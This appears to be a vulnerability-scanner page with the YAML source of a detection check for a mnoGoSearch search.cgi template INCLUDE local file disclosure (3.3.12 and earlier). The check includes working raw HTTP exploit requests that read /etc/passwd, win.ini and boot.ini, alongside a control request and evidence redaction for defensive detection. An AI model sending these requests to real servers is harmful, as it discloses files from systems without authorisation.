mnoGoSearch — 1 vulnerability check
noctis ships 1 vulnerability check for mnoGoSearch; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
mnoGoSearch search.cgi Template INCLUDE Local File Disclosure
| Severity | high |
|---|---|
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, tcp_connect, script · highest QoD 75 |
| Feed | tests/vulnerabilities/mnogosearch/search-cgi-template-include.yaml |
Tests mnoGoSearch 3.3.12 and earlier for unauthenticated local file disclosure through search.cgi. The CGI treats its PATH_INFO as the result page template, and the template INCLUDE directive reads local files. The feed first checks that search.cgi (under /cgi-bin, the web root and /mnogosearch) is mnoGoSearch, then sends a template whose INCLUDE points at /etc/passwd and, when no passwd content comes back, at windows/win.ini and then boot.ini. The content of the file in the reply confirms the read. A control request including an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/search.cgi - Checks
gate_r.bodyfor>mnoGoSearch: - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3… - Checks
passwd_r.bannerfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/windows/win.ini… - Checks
winini_r.bannerfor(?i)(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/boot.ini%22%3E%… - Checks
bootini_r.bannerfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/{{ctrl_path}}%2… - Checks
ctrl_r.bannerfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: mnoGoSearch search.cgi Template INCLUDE Local File Disclosure - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: mnoGoSearch search.cgi Template INCLUDE Local File Disclosure
References:
- https://nvd.nist.gov/vuln/detail/CVE-2011-5235
- http://www.mnogosearch.org/doc33/msearch-changelog.html#changelog-3-3-12
Feed source — tests/vulnerabilities/mnogosearch/search-cgi-template-include.yaml
# mnoGoSearch search.cgi template INCLUDE file disclosure
#
# mnoGoSearch (open-source web search engine, search.cgi front end) builds the
# result page from a template. When the CGI is called with PATH_INFO set, the
# PATH_INFO text is used as the template itself, so an attacker can send a
# template containing <!INCLUDE CONTENT="file:/etc/passwd"> and the search
# engine pastes that local file into the HTML reply. Versions 3.3.12 and
# earlier are affected.
#
# Detection (benign, read-only): confirm search.cgi is mnoGoSearch (the page
# carries ">mnoGoSearch:"), then request
# <dir>/search.cgi/<template with INCLUDE of file:/etc/passwd>?-d/proc/self/environ
# and match the CONTENT of /etc/passwd; when none comes back, the Windows
# files windows/win.ini, then boot.ini. QoD 75 (response analysis). The
# request is sent as a verbatim HTTP/1.0 line so the %0A / %22 sequences reach
# the server untouched.
#
# Improvements over the source NASL:
# - A control request (same template, an INCLUDE of a path in an absent random
# directory ending with the file that hit) must come back WITHOUT any of
# these files; a blanket responder or a honeypot keying a fake file on the
# file name is not reported (fail-closed: no control reply, no finding).
# - The account name (unless "root"), password field and gecos of the uid-0
# line are redacted before they reach the finding; the NASL reports the URL only.
# - The Windows files are only tried when the Linux read gave nothing.
#
# CVE mapping: the NASL tags CVE-2011-5235, but its NVD record is an SQL
# injection through the hostname of a hypertext link (indexer side, fixed in
# 3.3.12), not this template include; the include has no CVE record, so the
# feed is a 0-CVE check (category file-read) and names no CVE and no CVSS.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_mnogosearch_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803438, GPL-2.0-only).
uid: d0e697cf-0d18-4811-8777-e1c987f8568c
name: "mnoGoSearch search.cgi Template INCLUDE Local File Disclosure"
description: |
Tests mnoGoSearch 3.3.12 and earlier for unauthenticated local file
disclosure through search.cgi. The CGI treats its PATH_INFO as the result
page template, and the template INCLUDE directive reads local files. The
feed first checks that search.cgi (under /cgi-bin, the web root and
/mnogosearch) is mnoGoSearch, then sends a template whose INCLUDE points at
/etc/passwd and, when no passwd content comes back, at windows/win.ini and
then boot.ini. The content of the file in the reply confirms the read. A
control request including an absent random file must not return any of these
files, so a server that serves the same content on every request is not
reported. Only world-readable system files are read. The account name
(unless root), password field and gecos of the uid-0 line are redacted from
the evidence.
cves: []
severity: high
category: file-read
confidence_base: 0.30
tags: [mnogosearch, search-cgi, file-read, local-file-disclosure, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-5235"
- "http://www.mnogosearch.org/doc33/msearch-changelog.html#changelog-3-3-12"
# OpenVAS/Greenbone NASL 2013/gb_mnogosearch_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per CGI directory. Each
# pass resets the values it reads, so nothing is left over.
- id: init-gate-r
action: set_var
var_name: gate_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/cgi-bin", "", "/mnogosearch"]
- id: init-gate-ok
action: set_var
var_name: gate_ok
var_value: false
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {connected: false, banner: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {connected: false, banner: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Gate: search.cgi answers 200 and is mnoGoSearch ──────────────────────
- id: gate
action: http_request
method: GET
path: "{{dir}}/search.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: gate_r
- id: gate-match
action: match
source: gate_r.body
pattern: ">mnoGoSearch:"
condition: "gate_r.status == 200"
on_match:
set_vars:
gate_ok: true
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
# tcp_connect keeps the %0A / %22 sequences as sent.
- id: read-passwd
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: "gate_ok"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.banner
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "gate_ok"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
if passwd_m.captures[0] == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
condition: "gate_ok"
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini — only when the Linux read
# gave nothing ────────────────────────────────────────────────────────────
- id: read-winini
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/windows/win.ini%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'gate_ok && lin_proof == ""'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.banner
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'gate_ok && lin_proof == ""'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/boot.ini%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'gate_ok && lin_proof == "" && win_file == ""'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.banner
pattern: "(?i)\\[boot loader\\]"
condition: 'gate_ok && lin_proof == "" && win_file == ""'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same template, INCLUDE of an absent random file — must NOT
# carry a file. The absent path sits in a random missing directory but still
# ENDS with the file that hit, so a honeypot keying a fake file on that name
# or suffix answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/{{ctrl_path}}%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: 'ctrl_r.connected && type_of(ctrl_r.banner) == "string" && ctrl_hit == false'
on_match:
finding:
title: "mnoGoSearch search.cgi Template INCLUDE Local File Disclosure"
description: "An unauthenticated request to search.cgi whose PATH_INFO template includes file:/etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the search engine user can read, such as the indexer configuration with its database password."
remediation: "Upgrade mnoGoSearch to a release newer than 3.3.12, or stop passing PATH_INFO to search.cgi (for example reject requests with extra path information at the web server) and run the search engine as a user with no access to sensitive files."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/search.cgi with an INCLUDE template of file:/etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: 'ctrl_r.connected && type_of(ctrl_r.banner) == "string" && ctrl_hit == false'
on_match:
finding:
title: "mnoGoSearch search.cgi Template INCLUDE Local File Disclosure"
description: "An unauthenticated request to search.cgi whose PATH_INFO template includes a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the search engine user can read, such as the indexer configuration with its database password."
remediation: "Upgrade mnoGoSearch to a release newer than 3.3.12, or stop passing PATH_INFO to search.cgi (for example reject requests with extra path information at the web server) and run the search engine as a user with no access to sensitive files."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/search.cgi with an INCLUDE template of file:/{{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true